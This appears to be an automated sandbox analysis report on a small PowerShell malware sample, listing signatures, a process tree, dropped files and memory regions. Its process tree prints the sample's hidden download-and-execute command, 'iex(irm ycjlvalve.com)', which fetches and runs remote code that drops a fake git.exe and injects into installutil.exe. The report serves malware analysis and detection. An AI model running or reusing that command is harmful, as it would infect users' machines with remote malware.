Analysis

  • max time kernel
    149s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 12:07

General

  • Target
    ps.ps1
  • Size 118B
  • Sample260727-papsas1fkd
  • SHA256 d720c70eb7a545bc1681ec12edddfb94caa42768aa81faf594477b8bc1328e18
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 23 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ps.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Start-Process -WindowStyle Hidden powershell -Args '-ExecutionPolicy Bypass -c iex(irm ycjlvalve.com)'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:936
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -c iex(irm ycjlvalve.com)
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5992
        • C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\git.exe
          "C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\git.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4600
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5772
  • C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\git.exe
    "C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\git.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4644
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3848
  • C:\Windows\system32\cmd.exe
    "cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1356
    • C:\ProgramData\GitWinx86\git.exe
      "C:\ProgramData\GitWinx86\git.exe""
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1096
  • C:\Windows\Temp\DCRCVDrv.sys
    C:\Windows\Temp\DCRCVDrv.sys
    1⤵
    • Executes dropped EXE
    PID:1200

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        msvcp140.dll

        • Path C:\ProgramData\GitWinx86\msvcp140.dll
        • Size 540KB
        • SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140_1.dll

        • Path C:\ProgramData\GitWinx86\vcruntime140_1.dll
        • Size 46KB
        • SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_wpusrebt.bks.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wpusrebt.bks.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        wfvexor_eq_ptlwdo.zip

        • Path C:\Users\Admin\AppData\Local\Temp\wfvexor_eq_ptlwdo.zip
        • Size 5.6MB
        • SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\VCRUNTIME140.dll
        • Size 120KB
        • SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        git.exe

        • Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\git.exe
        • Size 4.2MB
        • SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libiconv-2.dll

        • Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\libiconv-2.dll
        • Size 1.1MB
        • SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libintl-8.dll

        • Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\libintl-8.dll
        • Size 291KB
        • SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libpcre2-8-0.dll

        • Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\libpcre2-8-0.dll
        • Size 701KB
        • SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libwinpthread-1.dll

        • Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\libwinpthread-1.dll
        • Size 3.0MB
        • SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\ucrtbase.dll
        • Size 1.3MB
        • SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        zlib1.dll

        • Path C:\Users\Admin\AppData\Local\bmc_xxzgvrbmc_m_upd_cbhs0\zlib1.dll
        • Size 125KB
        • SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DCRCVDrv.sys

        • Path C:\Windows\Temp\DCRCVDrv.sys
        • Size 137KB
        • SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1200-133-0x0000000000010000-0x000000000003D000-memory.dmp

        memory/2508-10-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

        memory/2508-0-0x00007FFCD4BFF000-0x00007FFCD4C00000-memory.dmp

        memory/2508-16-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

        memory/2508-12-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

        memory/2508-11-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

        memory/2508-7-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

        memory/2508-6-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

        memory/2508-5-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

        memory/2508-4-0x00007FFCD4A70000-0x00007FFCD5414000-memory.dmp

        memory/2508-3-0x00000292D2DD0000-0x00000292D2DF2000-memory.dmp

        memory/2556-170-0x00007FF650C50000-0x00007FF6510BF000-memory.dmp

        memory/2556-174-0x00007FFCE00E0000-0x00007FFCE01FF000-memory.dmp

        memory/2556-171-0x00007FFCE9B20000-0x00007FFCE9B72000-memory.dmp

        memory/2556-173-0x00007FFCE9DC0000-0x00007FFCE9DE6000-memory.dmp

        memory/2556-172-0x00007FFCE6EB0000-0x00007FFCE6F66000-memory.dmp

        memory/3848-157-0x0000000000400000-0x0000000000470000-memory.dmp

        memory/3848-176-0x0000000005000000-0x000000000502C000-memory.dmp

        memory/4600-168-0x00007FFCCD4D0000-0x00007FFCCD586000-memory.dmp

        memory/4600-169-0x00007FFCD9330000-0x00007FFCD9356000-memory.dmp

        memory/4600-166-0x00007FFCD5B70000-0x00007FFCD5BC2000-memory.dmp

        memory/4600-165-0x00007FFCCD900000-0x00007FFCCDA1F000-memory.dmp

        memory/4600-164-0x00007FF634A60000-0x00007FF634ECF000-memory.dmp

        memory/4644-162-0x00007FFCCD4D0000-0x00007FFCCD586000-memory.dmp

        memory/4644-158-0x00007FF634A60000-0x00007FF634ECF000-memory.dmp

        memory/4644-161-0x00007FFCD5B70000-0x00007FFCD5BC2000-memory.dmp

        memory/4644-159-0x00007FFCCD900000-0x00007FFCCDA1F000-memory.dmp

        memory/4644-160-0x00007FFCD9330000-0x00007FFCD9356000-memory.dmp

        memory/5772-246-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-222-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-2051-0x0000000006470000-0x0000000006A2A000-memory.dmp

        memory/5772-2050-0x0000000005E10000-0x0000000005EA2000-memory.dmp

        memory/5772-2049-0x00000000052E0000-0x0000000005346000-memory.dmp

        memory/5772-184-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-198-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-175-0x00000000025A0000-0x00000000025BA000-memory.dmp

        memory/5772-212-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-226-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-232-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-252-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-268-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-266-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-264-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-262-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-260-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-258-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-256-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-254-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-250-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-248-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-234-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-244-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-242-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-240-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-238-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-236-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-230-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-228-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-224-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-163-0x00000000005A0000-0x0000000000610000-memory.dmp

        memory/5772-220-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-218-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-216-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-214-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-210-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-208-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-206-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-204-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-202-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-200-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-196-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-195-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-193-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-190-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-188-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-186-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-182-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-180-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-178-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5772-177-0x0000000004D20000-0x0000000004D46000-memory.dmp

        memory/5992-31-0x000001FE7E500000-0x000001FE7E512000-memory.dmp

        memory/5992-29-0x000001FE7E4D0000-0x000001FE7E4DA000-memory.dmp

        memory/5992-20-0x000001FE7E560000-0x000001FE7E722000-memory.dmp

        memory/5992-28-0x000001FE7ED20000-0x000001FE7F248000-memory.dmp

        memory/5992-27-0x000001FE7E4F0000-0x000001FE7E514000-memory.dmp

        memory/5992-26-0x000001FE7E4F0000-0x000001FE7E51A000-memory.dmp

        memory/5992-25-0x000001FE7E4B0000-0x000001FE7E4BA000-memory.dmp

        memory/5992-24-0x000001FE7E730000-0x000001FE7E7E2000-memory.dmp

        memory/5992-23-0x000001FE7E490000-0x000001FE7E4AE000-memory.dmp